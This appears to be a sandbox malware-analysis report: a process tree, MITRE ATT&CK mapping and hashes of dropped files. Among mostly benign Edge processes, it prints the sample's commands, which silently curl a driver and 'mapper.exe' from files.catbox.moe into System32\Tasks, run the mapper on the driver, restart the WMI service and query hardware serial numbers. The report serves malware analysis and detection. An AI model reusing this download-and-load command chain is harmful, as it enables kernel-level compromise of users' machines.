      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2308,i,772794146206989429,15992805755290628548,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=3180 /prefetch:13
      4⤵
      PID:1848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3584,i,11754990709641873397,9326137188330008277,2097152 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:1
      4⤵
      PID:1608
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3588,i,9881805691253584600,14826453876847492166,2097152 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:1
      4⤵
      PID:1104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4312,i,4367927179235382146,16785380126503961479,2097152 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:1
      4⤵
      PID:5916
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4324,i,2317033995773624795,8139406653878032910,2097152 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=4484 /prefetch:9
      4⤵
      PID:5900
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5360,i,16519341538918396919,13919079332848999985,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:14
      4⤵
      PID:5876
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3752,i,6270964282296496543,14597995389847626517,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:14
      4⤵
      PID:2652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3776,i,8980861461952598047,8006954361830646680,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=5364 /prefetch:14
      4⤵
      PID:2956
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6088,i,16684169440299975516,11858511564660083640,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
      4⤵
      PID:5944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6088,i,16684169440299975516,11858511564660083640,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
      4⤵
      PID:5432
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6208,i,7742456016100296304,5948916402969860014,2097152 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:1
      4⤵
      PID:6140
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6452,i,11735153602296147869,18377490235895793956,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=6416 /prefetch:14
      4⤵
      PID:2480
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6748,i,17095354556955414290,7196131680490774284,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:14
      4⤵
      PID:5300
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6408,i,8056369974987315929,5670312371237508043,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=6896 /prefetch:14
      4⤵
      PID:5736
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6888,i,8171560115890004055,9355368733367976837,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=6916 /prefetch:14
      4⤵
      PID:2056
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7104,i,16723902442232348018,5788613070149867135,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=7156 /prefetch:14
      4⤵
      Modifies registry class
      PID:4696
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7116,i,1643902615926755857,11900771923723334171,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=7172 /prefetch:12
      4⤵
      PID:4736
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5164,i,17414887369735059597,15699232970634189589,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:14
      4⤵
      PID:3136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5248,i,4086129525128038427,7849841717910611117,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=5212 /prefetch:14
      4⤵
      PID:4968
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5236,i,374742658501275059,805596744477662335,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=5052 /prefetch:14
      4⤵
      PID:4136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3908,i,13916170212585464778,7969763731539918947,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:14
      4⤵
      PID:2040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c color B
  2⤵
  - Executes a command shell one-liner
  PID:6108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:1684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent -o C:\Windows\System32\Tasks\bqnl1y.sys "https://files.catbox.moe/bqnl1y.sys"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3220
- - C:\Windows\system32\curl.exe
    curl --silent -o C:\Windows\System32\Tasks\bqnl1y.sys "https://files.catbox.moe/bqnl1y.sys"
    3⤵
    PID:6040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent -o C:\Windows\System32\Tasks\mapper.exe "https://files.catbox.moe/wvsaqx.bin"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5836
- - C:\Windows\system32\curl.exe
    curl --silent -o C:\Windows\System32\Tasks\mapper.exe "https://files.catbox.moe/wvsaqx.bin"
    3⤵
    PID:4748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\System32\Tasks\mapper.exe C:\Windows\System32\Tasks\bqnl1y.sys
  2⤵
  - Executes a command shell one-liner
  PID:3452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:6084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop winmgmt /y
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Windows\system32\net.exe
    net stop winmgmt /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4376
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop winmgmt /y
      4⤵
      PID:5212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net start winmgmt /y
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Windows\system32\net.exe
    net start winmgmt /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4864
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 start winmgmt /y
      4⤵
      PID:4964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:2728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:4776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo Bios
  2⤵
  - Executes a command shell one-liner
  PID:4540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic bios get serialnumber
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    - Queries system WMI classes for hardware identifiers
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic csproduct get uuid
  2⤵
  - Executes a command shell one-liner
  PID:5240
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Queries system WMI classes for hardware identifiers
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:1908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo CPU
  2⤵
  - Executes a command shell one-liner
  PID:5736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic cpu get serialnumber
  2⤵
  - Executes a command shell one-liner
  PID:5304
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get serialnumber
    3⤵
    - Queries system WMI classes for hardware identifiers
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:3224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic cpu get processorid
  2⤵
  - Executes a command shell one-liner
  PID:4916
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get processorid
    3⤵
    - Queries system WMI classes for hardware identifiers
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:4100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo Diskdrive
  2⤵
  - Executes a command shell one-liner
  PID:3552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic diskdrive get serialnumber
  2⤵
  - Executes a command shell one-liner
  PID:4836
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber
    3⤵
    - Queries system WMI classes for hardware identifiers
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:5460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo Baseboard serialnumber
  2⤵
  - Executes a command shell one-liner
  PID:3380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic baseboard get serialnumber
  2⤵
  - Executes a command shell one-liner
  PID:6040
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    - Queries system WMI classes for hardware identifiers
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo Baseboard manufacturer
  2⤵
  - Executes a command shell one-liner
  PID:4780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic baseboard get manufacturer
  2⤵
  - Executes a command shell one-liner
  PID:5468
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get manufacturer
    3⤵
    - Uses WMI to collect hardware manufacturer information
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:4372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo MacAddress
  2⤵
  - Executes a command shell one-liner
  PID:5960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic path Win32_NetworkAdapter where "PNPDeviceID like '%%PCI%%' AND NetConnectionStatus=2 AND AdapterTypeID='0'" get MacAddress
  2⤵
  - Executes a command shell one-liner
  PID:4116
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path Win32_NetworkAdapter where "PNPDeviceID like '%%PCI%%' AND NetConnectionStatus=2 AND AdapterTypeID='0'" get MacAddress
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:4968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:3236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:5140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo Bios
  2⤵
  - Executes a command shell one-liner
  PID:5948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic bios get serialnumber
  2⤵
  - Executes a command shell one-liner
  PID:4644
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    - Queries system WMI classes for hardware identifiers
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:1412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic csproduct get uuid
  2⤵
  - Executes a command shell one-liner
  PID:4804
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Queries system WMI classes for hardware identifiers
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:3680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo CPU
  2⤵
  - Executes a command shell one-liner
  PID:2028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic cpu get serialnumber
  2⤵
  - Executes a command shell one-liner
  PID:3868
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get serialnumber
    3⤵
    - Queries system WMI classes for hardware identifiers
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:5660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic cpu get processorid
  2⤵
  - Executes a command shell one-liner
  PID:5288
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get processorid
    3⤵
    - Queries system WMI classes for hardware identifiers
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:5480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo Diskdrive
  2⤵
  - Executes a command shell one-liner
  PID:2236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic diskdrive get serialnumber
  2⤵
  - Executes a command shell one-liner
  PID:2104
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber
    3⤵
    - Queries system WMI classes for hardware identifiers
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:3360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo Baseboard serialnumber
  2⤵
  - Executes a command shell one-liner
  PID:500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic baseboard get serialnumber
  2⤵
  - Executes a command shell one-liner
  PID:3760
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    - Queries system WMI classes for hardware identifiers
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:1344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo Baseboard manufacturer
  2⤵
  - Executes a command shell one-liner
  PID:5360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic baseboard get manufacturer
  2⤵
  - Executes a command shell one-liner
  PID:5348
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get manufacturer
    3⤵
    - Uses WMI to collect hardware manufacturer information
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:5404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo MacAddress
  2⤵
  - Executes a command shell one-liner
  PID:3408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic path Win32_NetworkAdapter where "PNPDeviceID like '%%PCI%%' AND NetConnectionStatus=2 AND AdapterTypeID='0'" get MacAddress
  2⤵
  - Executes a command shell one-liner
  PID:4904
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path Win32_NetworkAdapter where "PNPDeviceID like '%%PCI%%' AND NetConnectionStatus=2 AND AdapterTypeID='0'" get MacAddress
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:4596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:3576

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1412

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:5824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

065b3b74-44b7-4369-b336-f0c8057be8e3.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\065b3b74-44b7-4369-b336-f0c8057be8e3.tmp
Size 34KB
SHA256 89f10e8078398295dbe80a2ac4032e4f26c512a39f06cb40765d4216bee62691
MD5 b5e6beeab6e35fc117da9f4c59fa45dc
SHA1 a8d4bc761b9d969d7e25b05f555fe1da8313ec26
SHA512 43c9b777dd1f977723938473999778052fd3f69f45c57b1bf3658f424812759346efd9804e0539f4d5de948950804e6707d98d95f39a5f55c03ce727499fc0c8
SSDEEP 768:OI3/bcZ0rfZWoYoDYoPsgBw4Ot5AEl94BHYjHrJhfyiM:OI37BVa5AEncHYjLryiM
TLSH
T14DF2BF34ACA54D238CF7A7C6B6163786AEF195A3ECC01ED4D9D8691D098735F234B80B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

22664c31-c0d9-4ca6-bb03-de8dfff66327.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\22664c31-c0d9-4ca6-bb03-de8dfff66327.tmp
Size 39KB
SHA256 da0ddf794e4a72f5a09423d6209e0b1e738d69be1b1e3504729488a19ff74abe
MD5 1584ffdb8fe06a9cfb0b210322fc4229
SHA1 ca74e5e64b33e45be8cd00952c111927233247e3
SHA512 8cbf03491a3e103d388ae6565166670ca786a758e5cc29dfe58ccc73bc4fdd767f7935a0e48c20de797ec38bd8ae516ee5308b41514c8295dccfdf511b7d22c3
SSDEEP 768:j/UxvxjgC+c3obcZ0rfZWoYoDYoPsgBw4Ot5AEl94BHYjHrHBJe:2Zj3+c3ABVa5AEncHYjLhJe
TLSH
T1D203BF389C655C239CFBE385B61B33879EF155B3A8C16EE499D81E0E0A4735E174B80B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

30b5a598-91bd-40ac-affd-772c1f3eb82c.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\30b5a598-91bd-40ac-affd-772c1f3eb82c.tmp
Size 38KB
SHA256 3eec01503c4df0d2488c31b9d1b4138e737186ee015d77062365fc22cbbaa7e2
MD5 80b7fa4b86a740a320af84830df37c32
SHA1 a56868d0a8f0757e984908d141e54e3b05c9fa34
SHA512 6df23b43801f08e03a8090d0ebe2ce8852a51745de81a3240a369b07f52afafb6926aaf0f4ed6dfa0b0698b6bb7bd29fc166494b2b26dab351e2215b13fafb95
SSDEEP 768:j/UxvxjgC+b3zFcZ0rfZWoYoDYoPsMBw4Ot5AEl94BHYjerAFTN/:2Zj3+b3jBVa5AEncHYjsAFB/
TLSH
T16803BF38DC659C23CCF7E785761B338BAEF154A3E9816EE499E82D1E0A4724E174B407
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

87c5a2f6-89f4-4f17-9f00-cb378744cb1e.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\87c5a2f6-89f4-4f17-9f00-cb378744cb1e.tmp
Size 34KB
SHA256 66343d22f1fc94c3a3fb314186b3fcc623389a9a52c5a43c15954ae3cafe3545
MD5 1991e54b324bff306bb1cbca1333f7d0
SHA1 b7da26d29226b25174586aee670e929baa5dfed7
SHA512 043940d061fbcb82d64928a7497bbf53939cdc0e891521149ec0986ad1ee586c83c5ead48cea7fc0c4fdf3ca87b142314f7c2206fece2558231f092a3b4aad7c
SSDEEP 768:vI3+bcZ0rfZWoYoDYoPsgBw4Ot5AEl94BHYjHrJhfyiM:vI3+BVa5AEncHYjLryiM
TLSH
T124F2BF34ACA54D238CF7A7C6B6163786AEF195A3ECC01ED4D9D8691D098735F234B80B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 59619e39464102fa53912dd9a15237954c5125d546c48a72b8bdb58ad9eb9753
MD5 f80a0057aa895d42a15b594d07d09f76
SHA1 2478a67794a5362ccf809b7a2c8f64a03c72fa32
SHA512 4a9ec8459a11d9e573883d5eacfd5386cf838bad2bd0b33ff1b37017f5f2cf6bfcef877344a87892e3c49ce624e0cae52791ded1593b8233138de87fd2e5e634
TLSH
T1C6D02B75F668E9D2C140043C00410920706035066F6801C206030038040324B55022C7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 91a032a4ffcdd10503afdeb5220904a7e7cea899c3a55606bb3e90180ed9472e
MD5 f04321ebc7aa4a8f91bb5362a6c4c79b
SHA1 c98d3283204e4a0453e416a04c3ae56e4c3feed8
SHA512 c2faa7fae738d85299e6f63b9eaf33c25db5a255ea3f5f6a8551842b7e0cec73c7e8b5e86a9cfb9714287d2b382b57b7249bc70671dbfde2815d5937243570af
TLSH
T1DED02B71F678E8D2C140043C00420920705035061F6801C207034038040324B55012C3
MD5 SHA1 SHA512 TLSH

Submit Download

1bf7d9fb-b952-456a-a6e6-3a1b00bb0ec9.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\1bf7d9fb-b952-456a-a6e6-3a1b00bb0ec9.tmp
Size 11KB
SHA256 13cd0cd55b112974c438cd563da4ba40a5a59dc8c0c6b2c700aa43ac17722321
MD5 436e5147ab504a1d1b14424c94da6bd1
SHA1 11b1f0d406a412da52745bd46a210e392235ed65
SHA512 c55392a29b7619c09d301d5c720a022d717e241534f4169fec17e5490be9cd63ab0a97c68f67f020851b70477d3f5bf224a40c9e516b0e41847f41c5d14e4ff5
SSDEEP 192:sxR/RCYD/fYslyZjxWpJzoA8plJ/g6+WNpUK/YiXS7MGhIgVgHJ:sxR/xD/fYslUFWpUr/5T/cCp
TLSH
